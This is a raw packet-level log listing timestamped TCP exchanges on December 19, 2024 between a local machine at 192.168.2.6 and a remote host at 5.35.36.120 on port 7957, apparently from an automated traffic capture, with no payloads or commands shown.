Dec 19, 2024 09:29:52.577985048 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.578109026 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.578151941 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.578773022 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.578859091 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.579000950 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.579802990 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.579937935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.580014944 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.580666065 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.580771923 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.580828905 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.581752062 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.581866026 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.581907988 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.582849026 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.582937002 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.582983017 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.583940029 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.584050894 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.584091902 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.585160017 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.585273981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.585314035 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.586148977 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.586312056 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.586359024 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.587229967 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.587366104 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.587410927 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.588387966 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.588577986 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.588622093 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.589391947 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.589513063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.589560032 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.590574980 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.590774059 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.590821981 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.591752052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.591830969 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.591917992 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.592680931 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.592819929 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.592864990 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.593806982 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.593934059 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.593972921 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.594930887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.595006943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.595051050 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.595947981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.596074104 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.596118927 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.597157001 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.597177982 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.597229004 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.598161936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.598259926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.598309040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.599271059 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.599397898 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.599436998 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.600312948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.600444078 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.600486040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.601428032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.601517916 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.601557970 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.602477074 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.602616072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.602709055 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.603601933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.603780031 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.603825092 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.604752064 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.604800940 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.604844093 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.605798006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.605910063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.605951071 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.606883049 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.606980085 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.607026100 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.608012915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.608108044 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.608145952 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.609077930 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.609205008 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.609251976 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.610235929 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.610289097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.610336065 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.611426115 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.611538887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.611586094 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.612503052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.612657070 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.612703085 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.613535881 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.613625050 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.613662958 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.614502907 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.614655018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.614701986 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.615653038 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.615744114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.615789890 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.616765976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.617010117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.617053986 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.617993116 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.618022919 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.618062973 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.618896961 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.619020939 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.619071007 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.619995117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.620114088 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.620162010 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.621226072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.621326923 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.621372938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.622368097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.622487068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.622530937 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.623306990 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.623444080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.623511076 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.624463081 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.624566078 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.624608040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.625519991 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.625598907 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.625650883 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.626621008 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.626708984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.626754999 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.627629995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.627785921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.627821922 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.628734112 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.628880024 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.628926039 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.629818916 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.629921913 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.629964113 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.630927086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.631032944 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.631076097 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.632025003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.632138968 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.632181883 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.633193016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.633205891 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.633260012 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.634254932 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.634362936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.634417057 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.635253906 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.677325010 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.769969940 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.769987106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.770039082 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.770435095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.770478964 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.770517111 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.771294117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.771616936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.771657944 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.772430897 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.772494078 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.772540092 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.773456097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.773533106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.773581982 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.774595976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.774787903 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.774826050 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.775983095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.776103973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.776144028 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.776859999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.776941061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.776976109 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.777836084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.777930975 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.777964115 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.778990984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.779036999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.779073000 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.780054092 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.780117989 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.780158997 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.781112909 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.781229019 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.781270981 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.782257080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.782355070 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.782407045 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.783286095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.783683062 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.783726931 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.784398079 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.784518003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.784554005 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.785502911 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.785579920 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.785625935 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.786597013 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.786680937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.786721945 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.787678003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.787787914 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.787832975 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.788781881 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.788873911 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.788916111 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.790101051 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.790292025 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.790338039 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.791261911 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.791394949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.791439056 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.792217016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.792339087 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.792382956 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.793584108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.793668985 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.793706894 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.794428110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.794491053 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.794537067 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.795331001 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.795429945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.795479059 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.796438932 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.796510935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.796550989 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.797516108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.797609091 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.797652006 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.798672915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.798711061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.798752069 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.799679995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.799880981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.799921989 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.801079035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.801152945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.801295042 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.802402973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.802417994 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.802464008 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.802969933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.803070068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.803129911 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.804055929 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.804173946 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.804214954 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.805185080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.805278063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.805321932 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.806261063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.806372881 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.806416035 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.807492018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.807631016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.807683945 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.808438063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.808578014 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.808624029 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.809540987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.809601068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.809643984 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.810666084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.810740948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.810795069 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.811801910 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.811901093 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.812191963 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.812848091 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.812971115 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.813010931 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.813916922 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.814008951 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.814052105 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.815013885 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.815035105 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.815192938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.816076040 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.816215038 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.816262007 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.817182064 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.817275047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.817327976 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.818316936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.818397045 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.818439007 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.819410086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.819509983 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.819552898 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.820487976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.820612907 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.820664883 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.821605921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.822480917 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.822523117 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.825114965 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.825145006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.825156927 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.825169086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.825190067 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.825216055 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.825591087 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.825779915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.825824976 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.826801062 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.826817036 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.826858044 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.827785015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.870964050 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.962270975 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.962377071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.962431908 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.962831974 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.962865114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.962908030 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.963968992 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.964093924 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.964159012 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.964987993 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.965029001 CET	7957	49792	5.35.36.120	192.168.2.6
